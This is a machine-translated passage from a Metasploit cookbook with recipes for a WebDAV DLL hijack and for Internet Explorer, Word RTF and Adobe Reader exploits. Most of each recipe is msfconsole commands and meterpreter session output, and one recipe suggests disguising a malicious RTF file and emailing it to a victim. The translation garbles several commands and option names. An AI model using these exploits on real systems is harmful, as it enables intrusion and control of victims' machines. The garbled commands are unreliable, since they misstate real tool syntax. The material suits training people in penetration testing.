f Samba chain_reply Corrupção de memória: esta exploração funciona corrompendo a memória


alocada para os pacotes de resposta em versões do Samba anteriores a 3.3.13. A memória trava ao
passar um valor maior que o tamanho do buffer de destino.

f Samba trans2open Overflow: Esta é uma vulnerabilidade de estouro de buffer existente nas versões
2.2.0 a 2.2.8 do Samba. Ele funciona explorando a falha em máquinas Linux x86 que não possuem
a opção de pilha noexec definida.

Entendendo as falhas de injeção de DLL do


Windows
Nesta receita, trataremos de um tipo especial de vulnerabilidade que não existe diretamente no sistema
operacional Windows. Na verdade, ele existe em vários softwares aplicativos executados no Windows.
Esse vetor de ataque remoto lida com uma classe de vulnerabilidades que afeta como os aplicativos carregam
bibliotecas externas. Vamos dar uma olhada nessa questão para analisá-la de perto.

Preparando-se
Esse vetor de ataque envolve a criação de um caminho ou diretório vulnerável que o alvo terá que executar
para acioná-lo. O diretório pode ser um arquivo, arquivo extraído, unidade USB, compartilhamento de rede
e assim por diante. O arquivo criado será totalmente inofensivo, mas executará um código de injeção de DLL
para comprometer o sistema.

54
Machine Translated by Google

Capítulo 3

Como fazer isso...


Vamos analisar uma implementação prática de uma injeção de DLL. Neste exemplo, nossa máquina de
destino é uma máquina Windows 7 Ultimate sem patch. O processo funciona criando um link para
compartilhar o arquivo que o alvo terá que acessar e executar. Você entenderá o processo à medida que
avançamos.

1. Usaremos o módulo exploit/windows/browser/webdav_dll_hijacker como exploit e windows/


meterpreter/bind_tcp como payload.
Vamos configurar rapidamente o exploit e o payload juntamente com outros parâmetros necessários:

msf > use exploit/windows/browser/webdav_dll_hijacker

msf exploit(webdav_dll_hijacker) > definir janelas de carga útil/ meterpreter/bind_tcp

payload => windows/meterpreter/bind_tcp

msf exploit(webdav_dll_hijacker) > mostrar opções

Opções do módulo (exploit/windows/browser/webdav_dll_hijacker):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

BASENAME política sim O nome base para o listado

EXTENSÕES txt sim A lista de extensões

documentos SHARENAME sim O nome do nível superior

SRVHOST 0.0.0.0 sim O anfitrião local...

SRVPORT 80 sim A porta daemon para escutar

Certificado SSL não Caminho para um SSL personalizado.

URIPATH / sim O URI a ser usado

55
Machine Translated by Google

Avaliação e exploração de vulnerabilidades baseadas no sistema operacional

Opções de carga (windows/meterpreter/bind_tcp):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

processo EXITFUNC sim Técnica de saída: seh..


LPORT 4444 sim A porta de escuta
ASSAR 192.168.56.102 não O endereço de destino

Explorar alvo:

Nome de identificação

-- ----

0 Automático

Os vários parâmetros da exploração ajudarão na criação de um arquivo específico e


compartilhamento de nível superior. O parâmetro BASENAME contém o nome do arquivo
a ser criado. EXTENSIONS é o tipo de arquivo a ser criado. SHARENAME é o diretório
compartilhado de nível superior que será criado para acesso. SRVHOST é a porta de
escuta local e SRVPORT é o número da porta na qual o SRVHOST irá escutar uma
conexão.

2. Depois de configurar os respectivos parâmetros de exploit e payload, o próximo


passo é executar o exploit. Vejamos o que acontece quando o executamos:

msf exploit(webdav_dll_hijacker) > exploit

[*] Exploit em execução como trabalho em segundo plano.

[*] Manipulador de ligação iniciado

[*]

[*] Os links de exploração estão agora disponíveis em

\\192.168.56.101\documentos\

3. Depois que o exploit é executado com sucesso, ele começa a ouvir uma conexão e também
fornece um link compartilhado que o alvo terá que abrir para acionar a exploração.
Vamos mudar para a tela de destino para ver o que acontece:

54
Machine Translated by Google

Capítulo 3

O alvo visualizará um arquivo simples, policy.txt, que foi compartilhado pelo invasor.
O arquivo é completamente inofensivo. Depois que o usuário executa esse arquivo, uma conexão é
estabelecida com a máquina do invasor e a conectividade do shell é estabelecida. Depois que o
arquivo for executado no destino, a DLL será executada e você verá muita atividade na tela do
msfconsole . Assim que a injeção de DLL for bem-sucedida, teremos conectividade de shell (veja a
captura de tela a seguir):

55
Machine Translated by Google

Avaliação e exploração de vulnerabilidades baseadas no sistema operacional

Como funciona...
Vamos descobrir o motivo dessa vulnerabilidade. Dynamic Link Library (DLL) é a implementação da Microsoft
do conceito de biblioteca compartilhada para Windows. DLLs são os executáveis associados a um programa
durante o tempo de execução para carregar as bibliotecas compartilhadas vinculadas a ele.
Quando um aplicativo é executado, uma função loadlibrary() carrega a DLL necessária em tempo de execução.
Se o local da DLL a ser carregada não for especificado ou um caminho de biblioteca insuficientemente
qualificado for fornecido pelo aplicativo, o Windows usará seu próprio conjunto de ordem definida para procurá-
la. Um dos locais nessa ordem padrão é o diretório de trabalho atual.

Agora, quando o usuário-alvo visita o local compartilhado, ele atinge uma zona controlada pelo invasor.
Como? O arquivo compartilhado (policy.txt) contém um caminho menos qualificado da DLL, portanto, quando o
usuário de destino o executa, o Windows inicia sua própria busca pela DLL ausente. Agora, como o diretório de trabalho
atual (/documentos) é controlado pelo invasor, ele pode adicionar um código DLL malicioso nele que o Windows
executará (já que o diretório de trabalho atual é um dos locais padrão onde o Windows procura as bibliotecas ). Agora,
essa DLL maliciosa pode fornecer ao invasor o poder de executar scripts externos. Portanto, a carga útil agora entra
em ação e configura uma conectividade de shell que fornece acesso total ao sistema de destino ao invasor. É assim
que todo esse vetor de ataque é criado.

Tem mais...
Podemos procurar uma injeção de DLL usando uma ferramenta simples desenvolvida por HD Moore. Vamos ter
uma rápida visão geral dele.

O kit DllHijackAudit de HD Moore O criador do Metasploit, HD


Moore criou esta ferramenta de auditoria de segurança que pode ser usada para realizar um teste de falhas de
injeção de DLL em seu próprio ambiente. Ele aproveita o utilitário de monitoramento de processos e o interpretador
Ruby. Ele funciona monitorando se uma DLL foi ou não acessada no diretório de trabalho do arquivo associado.
Também gera relatórios de teste.
A ferramenta e a documentação detalhada podem ser encontradas em http://blog.metasploit. com/2010/08/
better-faster-stronger.html.

54
Machine Translated by Google

Lado do cliente
4
Exploração e
Ignorar antivírus
Neste capítulo, abordaremos:

f Vulnerabilidade de configuração incorreta de scripts inseguros do Internet Explorer

f Corrupção de memória de chamada recursiva do Internet Explorer


f Estouro do buffer de pilha RTF do Microsoft Word

f Adobe Reader util.printf() estouro de buffer

f Gerando binário e shellcode a partir de msfpayload f Ignorando a

proteção antivírus do lado do cliente usando msfencode

f Usando o script killav.rb para desabilitar programas antivírus

f Uma análise mais profunda do script killav.rb

f Matar serviços antivírus a partir da linha de comando

Introdução

No capítulo anterior, nos concentramos no teste de penetração do sistema operacional de destino.


Os sistemas operacionais são o primeiro nível de penetração no alvo porque um sistema operacional
desatualizado e sem patches pode ser fácil de explorar e reduzirá nosso esforço de procurar outros métodos de
penetração no alvo. Mas a situação pode variar. Pode haver casos em que um firewall pode bloquear nossos
pacotes de varredura e, assim, nos impedir de obter qualquer informação sobre o sistema operacional de destino
ou portas abertas.
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus

Também pode haver a possibilidade de o alvo ter atualizações automáticas que corrigem as vulnerabilidades
do sistema operacional em intervalos regulares. Isso pode novamente matar todos os ataques de penetração no
alvo. Essas medidas de segurança podem nos impedir de obter acesso à máquina de destino explorando
vulnerabilidades conhecidas do sistema operacional em uso. Portanto, teremos que dar um passo à frente. É aqui
que entram as técnicas de exploração do lado do cliente e de desvio de antivírus. Vamos primeiro entender um
vetor típico de ataque do lado do cliente.

Suponha que o testador de penetração descobriu que a máquina de destino possui um sistema operacional
Windows XP SP3 atualizado e o Internet Explorer versão 7 configurado como o navegador padrão para
acessar a Internet e outros serviços relacionados à web. Portanto, o pen-tester criará uma URL maliciosa que
conterá um script executável que pode explorar uma vulnerabilidade conhecida do IE 7. Agora ele constrói uma
página HTML de aparência inofensiva e cria um hiperlink que contém a mesma URL maliciosa. Na próxima
etapa, ele transfere a página HTML para o usuário-alvo por meio de engenharia social e, de alguma forma, o
induz a clicar no hiperlink malicioso. Como o link continha um exploit conhecido do navegador IE 7, ele pode
comprometer o navegador e permitir a execução de código adicional, dando assim ao testador de penetração o
poder de controlar o sistema de destino. Ele pode seguir em frente para configurar um backdoor, lançar um vírus e
assim por diante.

O que exatamente acontece agora? Embora a máquina de destino estivesse executando uma versão corrigida e
atualizada do Windows, o navegador padrão IE 7 não foi atualizado ou foi negligenciado pelo usuário de destino. Isso
permitiu que o testador de penetração criasse um cenário e invadisse o sistema por meio da vulnerabilidade do
navegador.

O cenário discutido anteriormente é um ataque simples do lado do cliente no qual o alvo executa, sem saber, um
script que explora a vulnerabilidade no software aplicativo usado pelo usuário-alvo.
Na execução bem-sucedida da exploração, o invasor compromete a segurança do sistema.

O Metasploit nos fornece uma grande variedade de módulos de exploração para vários softwares populares que
podem ser usados para realizar um ataque do lado do cliente. Algumas das ferramentas populares que
discutiremos neste capítulo incluem Internet Explorer, Microsoft Office pack, Adobe Reader, Flash e assim por
diante. O repositório Metasploit contém vários módulos para essas ferramentas populares. Vamos analisar
rapidamente o processo de exploração do lado do cliente no Metasploit. Nosso objetivo é atacar com sucesso o
alvo por meio de uma execução do lado do cliente e configurar a conectividade do shell.

O Metasploit divide esse processo de penetração em duas etapas simples:

1. Ele gera o respectivo link/arquivo malicioso para a ferramenta do aplicativo que você escolher
alvo. Depois disso, ele começa a ouvir em uma porta específica para uma conexão de retorno com o
destino. Em seguida, o invasor envia o link/arquivo malicioso para o usuário alvo.

2. Agora, uma vez que o alvo executa o link/arquivo malicioso, o aplicativo é explorado
e o Metasploit transfere imediatamente a carga útil para algum outro processo do Windows para que, se o
aplicativo de destino travar (devido a exploração) ou um usuário fechar o aplicativo, a conectividade ainda
permaneça.

78
Machine Translated by Google

Capítulo 4

As duas etapas anteriores ficarão claras para você quando discutirmos as receitas baseadas em ataques
do lado do cliente. Este capítulo se concentrará em alguns softwares de aplicativos importantes baseados no
sistema operacional Windows. Começaremos analisando as explorações do lado do cliente com base no navegador.
Analisaremos várias falhas existentes no Internet Explorer (versões 6, 7 e 8) e como direcioná-lo para penetrar
na máquina do usuário. Em seguida, mudaremos para outro pacote de software popular chamado Microsoft
Office (versão 2003 e 2007) e analisaremos sua vulnerabilidade de formatação. Em seguida, prosseguiremos
com a análise das vulnerabilidades do PDF e como um PDF malicioso pode ser usado para comprometer a
segurança do usuário. Por último, mas não menos importante, discutiremos um aspecto muito importante do
teste de penetração chamado desvio de antivírus.
Ele se concentrará em substituir a proteção antivírus do lado do cliente para explorar a máquina de destino
sem disparar alarmes.

Este capítulo alavancará todo o poder da estrutura Metasploit para que você adore lê-la e implementá-la.
Vamos avançar com nossas receitas para este capítulo.

Vulnerabilidade de configuração
incorreta de script inseguro do Internet Explorer
Vamos começar com a primeira exploração do lado do cliente baseada em navegador. O processo elementar de
usar qualquer módulo de exploração do lado do cliente é semelhante aos que discutimos nos capítulos anteriores.
A única diferença está na transferência do exploit para o alvo. Ao contrário das explorações baseadas no sistema
operacional, as explorações do lado do cliente exigem a execução manual da exploração e da carga útil na máquina
de destino. Você entenderá claramente, assim que prosseguirmos com a receita. Então, vamos mergulhar rapidamente
na implementação do ataque.

Preparando-se
Começaremos lançando nosso msfconsole e selecionando o exploit relevante. O processo é semelhante ao que
discutimos até agora nos capítulos anteriores. Em seguida, avançaremos para selecionar uma carga útil que nos
ajudará a definir uma conectividade shell com a máquina de destino.
O exploit com o qual estaremos lidando nesta receita é exploit/windows/browser/isto é, script inseguro.

Esta exploração é conhecida por afetar o Internet Explorer versões 6 e 7, que são
navegadores padrão em todas as versões do Windows XP e servidores 2003. Mas
funcionou com sucesso mesmo no meu Windows 7 ultimate com Internet Explorer
8 (sem patch).

79
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus

Essa exploração funciona quando a configuração Inicializar e executar scripts de controles ActiveX não
marcados como seguros é marcada no Internet Explorer. A configuração a seguir pode ser encontrada iniciando
o Internet Explorer e navegando até Ferramentas | Opções da Internet | Segurança | Nível Personalizado |
Inicializar e fazer script de controles ActiveX não marcados como seguros | Habilitar.

Configurações semelhantes também podem ser feitas em outras versões do Internet Explorer. Nesta receita,
exploraremos dois alvos diferentes. Um está executando o Windows XP SP2 com o IE 7 e o outro está
executando o Windows 7 com o IE 8. Vamos agora seguir em frente para executar o exploit.

Como fazer isso...


Vamos começar com o lançamento do msfconsole e definir nosso respectivo exploit como ativo.
Estaremos usando o payload reverse_tcp para obter conectividade shell com os dois alvos assim
que forem explorados:

msf > use exploit/windows/browser/ie_unsafe_scripting

msf exploit(ie_unsafe_scripting) > definir payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

80
Machine Translated by Google

Capítulo 4

msf exploit(ie_unsafe_scripting) > mostrar opções

Opções do módulo (exploit/windows/browser/ie_unsafe_scripting):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

SRVHOST 0.0.0.0 sim O host local para..

SRVPORT 8080 sim A porta local para..

SSL falso não Negociar SSL..

Certificado SSL não Caminho para um SSL personalizado.

SSLVersão SSL3 não Especifique a versão..

URIPATH não O URI a ser usado para...

Opções de carga útil (windows/meterpreter/reverse_tcp):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

processo EXITFUNC sim Técnica de saída: seh..

LHOST sim O endereço de escuta

LPORT 4444 sim A porta de escuta

Explorar alvo:

Nome de identificação

-- ----

0 Automático

msf exploit(ie_unsafe_scripting) > definir LHOST 192.168.56.101

LHOST => 192.168.56.101

81
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus

Agora nosso exploit, assim como a carga útil, foram ativados. Como você pode ver, não usamos a opção
RHOST aqui porque é um ataque baseado no cliente. Vejamos o que acontece quando executamos o
comando exploit :

msf exploit(ie_unsafe_scripting) > exploit

[*] Exploit em execução como trabalho em segundo plano.

[*] Manipulador reverso iniciado em 192.168.56.101:4444

[*] Usando URL: http://0.0.0.0:8080/2IGIaOJQB

[*] IP local: http://192.168.56.101:8080/2IGIaOJQB

[*] Servidor iniciado.

Como podemos ver, um link foi gerado como resultado do comando exploit . Este é o link malicioso
(http://192.168.56.101:8080/2IGIaoJQB) que teremos de enviar aos nossos alvos, para que possam
explorar o seu navegador. Além disso, a última linha diz "servidor iniciado", que na verdade está ouvindo
uma conexão na porta 4444 da máquina de destino. Vamos primeiro analisar o resultado da execução do
link na máquina de destino do Windows XP.

O navegador tentará carregar a página, mas ao final nada será exibido. Por sua vez, o navegador
travará ou permanecerá ocioso. Mas você notará alguma atividade em seu msfconsole. Esta
atividade será semelhante à mostrada na seguinte linha de comando:

msf exploit(ie_unsafe_scripting) > [*] Solicitação recebida de 192.168.56.102:1080...

[*] Codificando carga em vbs/javascript/html...

[*] Enviando exploit html/javascript para 192.168.56.102:1080...

[*] Exe será uunqgEBHE.exe e deve ser removido manualmente do diretório %TEMP% no destino.

Enviando estágio (752128 bytes) para 192.168.56.102

[*] Meterpreter sessão 1 aberta (192.168.56.101:4444 ->


192.168.56.102:1081) em 2011-11-12 21:09:26 +0530

Incrível! Temos uma sessão ativa com nossa máquina de destino. A saída da linha de comando anterior
mostra que um arquivo executável foi criado na pasta temporária de nosso destino, responsável por todo
esse processo de exploração.

Vamos agora analisar o resultado dessa execução de link malicioso na máquina Windows 7 com IE 8.

82
Machine Translated by Google

Capítulo 4

Notaremos que o Internet Explorer exibirá uma mensagem de alerta. Ao clicar em


Permitir, o script externo será executado e o navegador poderá travar ou travar
(dependendo do sistema).

Vamos mudar para atacar o msfconsole e observar a atividade. Notaremos a seguinte atividade
de linha de comando:

msf exploit(ie_unsafe_scripting) > [*] Solicitação recebida de 192.168.56.1:51115...

[*] Codificando carga em vbs/javascript/html...


[*] Enviando exploit html/javascript para 192.168.56.1:51115...
[*] Exe será uddoE.exe e deve ser removido manualmente do diretório %TEMP% no destino.

[*] Enviando estágio (752128 bytes) para 192.168.56.1

[*] Meterpreter sessão 2 aberta (192.168.56.101:4444 -> 192.168.56.1:51116) em


2011-11-12 21:15:47 +0530

83
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus

Também temos outra sessão ativa aberta com a máquina Windows 7. Vamos começar a interagir com
nossas sessões:

msf exploit(ie_unsafe_scripting) > sessões

Sessões ativas

===============

Tipo de identificação Informação Conexão


-- ---- ----------- ----------

1 meterpreter x86/win32 DARKLORD-9CAD38\darklord


2 medidores x86/win32 HackingAlert-PC\hackingalert

Como você pode ver, o comando de sessões revelou as sessões ativas disponíveis para nós.
Uma é a nossa máquina Win XP e a outra é a máquina Win7. Passemos à interação com a segunda
sessão, ou seja, a máquina Windows 7.

msf exploit(ie_unsafe_scripting) > sessões -i 1

meterpreter > shell

Processo 4844 criado.

Canal 1 criado.

Microsoft Windows [versão 6.1.7264]

Direitos autorais (c) 2009 Microsoft Corporation. Todos os direitos reservados.

C:\Windows\system32>

Como funciona...
O processo de trabalho pode ser claro para você. Vamos nos concentrar no motivo dessa exploração.
Quando "Inicializar e executar scripts de controles ActiveX não marcados como seguros para scripts" é
definido, ele permite o acesso ao controle WScript.Shell ActiveX. Este objeto WScript.Shell fornece funções
para ler o sistema de arquivos, variáveis de ambiente, ler e modificar o registro e gerenciar atalhos.
Esse recurso do WScript.Shell permite que o invasor crie um JavaScript para interagir com o sistema de
arquivos e executar comandos.

84
Machine Translated by Google

Capítulo 4

Tem mais...
Vamos falar sobre outra importante exploração baseada em navegador que pode ser usada em um
ataque do lado do cliente.

Corrupção de memória do Internet Explorer Aurora Este é outro exploit


amplamente usado para o IE que veio à tona em meados de 2010. Essa falha foi o componente chave da "Operação
Aurora", na qual os hackers atacaram algumas das principais empresas. Este módulo explora uma falha de corrupção
de memória no IE 6. Estou deixando este módulo como um exercício para você experimentar e explorar. A exploração
pode ser encontrada em exploit/windows/browser/ms10_002_aurora.

Corrupção de memória de chamada recursiva CSS do


Internet Explorer
Esta é uma das explorações mais recentes disponíveis para a plataforma Windows que executa o navegador IE.
Esta exploração é conhecida por afetar o servidor Windows 7 e Windows 2008 com o IE 8 como navegador padrão.
O processo de trabalho dessa exploração é semelhante ao que acabamos de discutir na receita anterior. Então,
vamos testá-lo rapidamente. Nossa máquina de destino é uma edição final do Windows 7 com o IE 8 (sem patch)
sendo executado como navegador padrão.

Preparando-se
Começaremos com o lançamento do msfconsole. Nosso exploit nesta receita é exploit/windows/browser/
ms11_003_ie_css_import e nosso payload será windows/meterpreter/bind_tcp que ajudará a obter conectividade shell
com a máquina de destino.

Como fazer isso...


Vamos começar da mesma forma que temos feito até agora. Primeiro, vamos selecionar o exploit.
Em seguida, selecionaremos o payload e passaremos os vários valores de parâmetros exigidos pelo exploit e pelo
payload. Vamos seguir em frente com todas essas etapas em nosso msfconsole.

msf > use exploit/windows/browser/ms11_003_ie_css_import

msf exploit(ms11_003_ie_css_import) > definir janelas de carga útil/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

smsf exploit(ms11_003_ie_css_import) > definir LHOST 192.168.56.101


LHOST => 192.168.56.101

85
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus

msf exploit(ms11_003_ie_css_import) > exploit

[*] Exploit em execução como trabalho em segundo plano.

[*] Manipulador reverso iniciado em 192.168.56.101:4444

[*] Usando URL: http://0.0.0.0:8080/K9JqHoWjzyAPji

[*] IP local: http://192.168.56.101:8080/K9JqHoWjzyAPji

[*] Servidor iniciado.

Como podemos ver, o exploit e o payload foram definidos junto com vários parâmetros.
Depois de executar o comando exploit , o módulo gerou um link local http://
192.168.56.101:8080/K9JqHoWjzyAPji. Este é o link malicioso que deve ser transferido para o alvo
para fazê-lo executar em seu navegador IE. O navegador de destino congelará completamente e
consumirá uma grande parte dos recursos do sistema. O alvo será forçado a desligar o navegador.
Vamos monitorar as atividades no msfconsole:

[*] 192.168.56.1:52175 Solicitação recebida para "/K9JqHoWjzyAPji/\xEE\x80\


xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\ x9A\xEE\x80\ xA0\xE1\x81\x9A"

[*] 192.168.56.1:52175 Enviando

windows/browser/ms11_003_ie_css_import CSS

[*] Enviando estágio (752128 bytes) para 192.168.56.1

[*] Meterpreter sessão 1 aberta (192.168.56.101:4444 -> 192.168.56.1:52176) em 2011-11-15


13:18:17 +0530

[*] ID da sessão 1 (192.168.56.101:4444 -> 192.168.56.1:52176) processando InitialAutoRunScript 'migrate -f'

[*] Processo atual do servidor: iexplore.exe (5164)

[*] Gerando o processo notepad.exe para migrar

[+] Migrando para 5220

[+] Migrado com sucesso para o processo

Após a execução bem-sucedida do exploit no navegador do alvo, temos uma sessão iniciada no
msfconsole, abrindo assim a conectividade do shell. Mas há algo mais que acontece depois de abrir uma
sessão entre msf e o destino. O InitialAutoRunScript executa um comando migration –f que migra a carga
de iexplore.exe para o bloco de notas. exe. Esta etapa é essencial para uma conectividade persistente.
Mesmo que o usuário de destino feche o navegador, a conexão ainda estará ativa, pois migramos para
outro processo.

86
Machine Translated by Google

Capítulo 4

Como funciona...
Vamos desenterrar essa vulnerabilidade para obter mais informações. Bem, o motivo da vulnerabilidade
é exatamente o que o nome diz. Quando o mecanismo HTML da Microsoft (mshtml) analisa uma página
HTML que importa recursivamente o mesmo arquivo CSS várias vezes, isso leva a uma corrupção de
memória e permite a execução arbitrária do código. Considere o seguinte trecho de código HTML.

// arquivo html
<link href="css.css" rel="stylesheet" type="text/css" />

// arquivo css *{

cor vermelha;

} @import url("css.css"); @import


url("css.css"); @import url("css.css");
@import url("css.css");

O mesmo arquivo CSS foi chamado quatro vezes. Quando o mshtml analisa esta página HTML, isso
leva a uma corrupção de memória. Esta exploração utiliza uma combinação de heap spraying e o
módulo .NET 2.0 mscorie.dll para ignorar DEP e ASLR. Devido ao consumo excessivo de recursos do
sistema, ele finalmente trava. Usando esta vulnerabilidade, o invasor obtém os mesmos direitos de
usuário que o usuário conectado.

87
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus

Na captura de tela anterior, você pode ver que o plano de fundo consiste na instância do IE na qual o link
malicioso foi executado e a imagem em primeiro plano é do gerenciador de tarefas do Windows, no qual você
pode ver claramente o consumo excessivo de memória pelo navegador IE.
Outra coisa interessante a observar neste gerenciador de tarefas é o processo notepad.exe. Mesmo que
não haja uma instância em execução do bloco de notas, o gerenciador de tarefas ainda mostra esse processo.
A razão óbvia para isso é que migramos do iexplorer.exe para o notepad.exe, portanto, esse processo está sendo
executado em segundo plano.

Tem mais...
Há um erro comum que podemos encontrar ao usar este módulo de exploração. Vamos dar uma olhada rápida
e descobrir uma solução relevante.

.NET CLR 2.0.50727 ausente Você pode


encontrar um erro "A máquina de destino não possui o .NET CLR 2.0.50727" ao usar este módulo de
exploração. Bem, a razão para este erro não é porque .Net está faltando. A principal razão para isso é que o
Internet Explorer não está definido como o navegador padrão, portanto, o agente do usuário está sendo abusado
para buscar um endereço de uma região não ASLR. Esse erro pode ser superado definindo o Internet Explorer
como o navegador da Web padrão.

Estouro de buffer de pilha RTF do Microsoft Word

Nas duas receitas anteriores, nos concentramos completamente em explorações baseadas em


navegador. Agora, nesta receita, vamos nos concentrar em outra ferramenta popular do Windows
chamada Microsoft Office. A falha de estouro do buffer RTF existe nas versões 2010 e 2007 do pacote de software do Office.
Essa vulnerabilidade existe na manipulação da propriedade de forma de pfragments no analisador RTF do
Microsoft Word. Vamos entender esse exploit em detalhes. Estou assumindo que já obtivemos informações sobre
nosso alvo de que ele possui o pacote Office instalado em seu sistema.

Preparando-se
Começaremos com o lançamento do msfconsole. O exploit que usaremos nesta receita pode ser localizado
em exploit/windows/fileformat/ms10_087_rtf_pfragments_bof. A carga útil que usaremos é windows/meterpreter/
reverse_tcp para obter a conectividade do shell com a máquina de destino.

Como fazer isso...


O processo de trabalho será novamente semelhante ao que vimos até agora nas receitas anteriores.
Primeiro, definiremos nosso exploit. Em seguida, selecionaremos uma carga útil e passaremos os
parâmetros relevantes para ambos, a fim de executar o exploit com sucesso. Vamos executar essas etapas.

88
Machine Translated by Google

Capítulo 4

msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof


msf exploit(ms10_087_rtf_pfragments_bof) > set payload windows/ meterpreter/reverse_tcp payload => windows/
meterpreter/reverse_tcp

msf exploit(ms10_087_rtf_pfragments_bof) > mostrar opções

Opções do módulo (exploit/windows/fileformat/ms10_087_rtf_pfragments_bof):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

NOME DO ARQUIVO msf.rtf sim O nome do arquivo.

Opções de carga útil (windows/meterpreter/reverse_tcp):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

processo EXITFUNC sim Técnica de saída: seh..

LHOST sim O endereço de escuta

LPORT 4444 sim A porta de escuta

Explorar alvo:

Nome de identificação

-- ----

0 Automático

A exploração contém um parâmetro FILENAME que contém informações sobre o


nome do arquivo malicioso a ser criado. O valor padrão é msf.rtf. Vamos mudá-lo para
algum nome menos suspeito. Também definiremos o valor para LHOST , que é o endereço
IP da máquina atacante.

msf exploit(ms10_087_rtf_pfragments_bof) > set FILENAME priceinfo.rtf

FILENAME => info.rtf

msf exploit(ms10_087_rtf_pfragments_bof) > definir LHOST 192.168.56.101

89
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus

O nome do arquivo foi alterado para priceinfo.rtf e o valor de LHOST foi definido para 192.168.56.101. Portanto,
estamos prontos para executar o módulo de exploração agora.

msf exploit(ms10_087_rtf_pfragments_bof) > exploit

[*] Criando arquivo 'priceinfo.rtf'...

[+] priceinfo.rtf armazenado em /root/.msf4/local/priceinfo.rtf

O Metasploit criou um arquivo malicioso para nós, que teremos que usar para prosseguir com o ataque do
lado do cliente. O arquivo está localizado em /root/.msf4/local/priceinfo.rtf.
Agora, a próxima etapa é enviar esse arquivo para o usuário de destino por e-mail ou por algum outro meio.
Assim que o usuário de destino executar esse arquivo malicioso, perceberemos que ele será aberto como um
documento do Word. Após alguns segundos de execução, a instância do Microsoft Word irá travar ou travar,
dependendo do sistema. Enquanto isso, o arquivo malicioso executa a exploração com sucesso e fornece uma
sessão ativa com o alvo. Para tornar a conexão persistente, o exploit migra para algum outro processo que será
executado em segundo plano.

Enviando estágio (752128 bytes) para 192.168.56.1


[*] Meterpreter sessão 2 aberta (192.168.56.101:4444 -> 192.168.56.1:57031) em
2011-11-13 23:16:20 +0530

[*] ID da sessão 2 (192.168.56.101:4444 -> 192.168.56.1:57031) processando InitialAutoRunScript


'migrate -f'

[*] Processo atual do servidor: WINWORD.EXE (5820)


[*] Gerando o processo notepad.exe para migrar
[+] Migrando para 5556
[+] Migrado com sucesso para o processo

As primeiras linhas da linha de comando mostram uma execução bem-sucedida do exploit que resulta em
uma sessão ativa com SESSION ID = 2. A última parte da linha de comando mostra que o exploit foi
migrado com sucesso de WINWORD.EXE para notepad.exe.

Como funciona...
O módulo de exploração simplesmente cria um arquivo de palavras malicioso que passa valores ilegais para o
analisador de palavras. A falha do parser em reconhecer os valores ilegais leva a um estouro de buffer nele.
Em seguida, a carga útil entra em ação, que executa o código para estabelecer uma conexão de retorno com a
máquina atacante. O sucesso desse ataque varia de máquina para máquina, pois pode haver situações em que
o Windows ASLR (Address Space Layout Randomization) pode impedir a execução de um código arbitrário
(payload).

90
Machine Translated by Google

Capítulo 4

Tem mais...
Há outro exploit popular disponível para o pacote Office. Vou deixar como lição para você experimentar na
prática. Aqui vou dar uma breve visão geral sobre isso.

Estouro de buffer do Microsoft Excel 2007 Esta exploração

conhecida visa a ferramenta Microsoft Excel (.xlb) para a versão 2007. A execução de um arquivo .xlb
malicioso pode levar a um estouro de buffer baseado em pilha e levar a uma execução arbitrária de código.
A exploração pode ser localizada em exploit/windows/fileformat/ms11_021_ xlb_bof.

Estouro de buffer do Adobe Reader util.printf()


O PDF é um dos formatos mais usados para compartilhar arquivos e documentos. Portanto, usá-lo como
uma arma potencial para explorar a máquina-alvo pode ser uma ideia frutífera. O Adobe Reader é a
ferramenta de leitura de arquivos PDF mais popular. A exploração que discutiremos aqui é uma vulnerabilidade
existente no Adobe Reader anterior às versões 8.1.3. A exploração funciona criando um arquivo PDF malicioso
que, quando aberto em versões vulneráveis do Adobe Reader, causa um estouro de buffer e permite a execução
de código arbitrário.

Preparando-se
O processo de exploração é muito semelhante àqueles que discutimos até agora neste capítulo. Quase todos
os ataques do lado do cliente funcionam de maneira semelhante, na qual primeiro geramos um arquivo/link
malicioso e, de alguma forma, pedimos ao usuário alvo para executá-lo em sua máquina. Portanto, um ataque
do lado do cliente também envolve Engenharia Social. Passemos a esta façanha. Aqui, nossa máquina de
destino é o Windows XP SP3 executando o Adobe Reader versão 8.1.

Começaremos lançando nosso msfconsole e usaremos o módulo exploit/windows/fileformat/


adobe_utilprintf e o módulo payload como windows/meterpreter/reverse_tcp.

Como fazer isso...


Começaremos selecionando o exploit e definindo-o como ativo. Em seguida, definiremos a carga útil. Depois
de selecionar o exploit e o payload, nosso próximo passo será passar os vários valores de parâmetros
necessários para executá-lo. Então, vamos seguir em frente para executar essas etapas no msfconsole.

msf > use exploit/windows/fileformat/adobe_utilprintf

msf exploit(adobe_utilprintf) > definir payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp


91
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus

msf exploit(adobe_utilprintf) > mostrar opções

Opções do módulo (exploit/windows/fileformat/adobe_utilprintf):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

NOME DO ARQUIVO msf.pdf sim O nome do arquivo.

Opções de carga útil (windows/meterpreter/reverse_tcp):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

processo EXITFUNC sim Técnica de saída: seh..

LHOST sim O endereço de escuta

LPORT 4444 sim A porta de escuta

Explorar alvo:

Nome de identificação

-- ----

0 Adobe Reader v8.1.2 (Windows XP SP3 em inglês)

Como você pode ver, a versão de destino do Adobe Reader está listada como 8.1.2 e o sistema operacional
é mencionado como Windows XP SP3. Portanto, o sucesso dessa exploração dependerá muito da versão
do Adobe Reader e do sistema operacional usado pelo alvo.

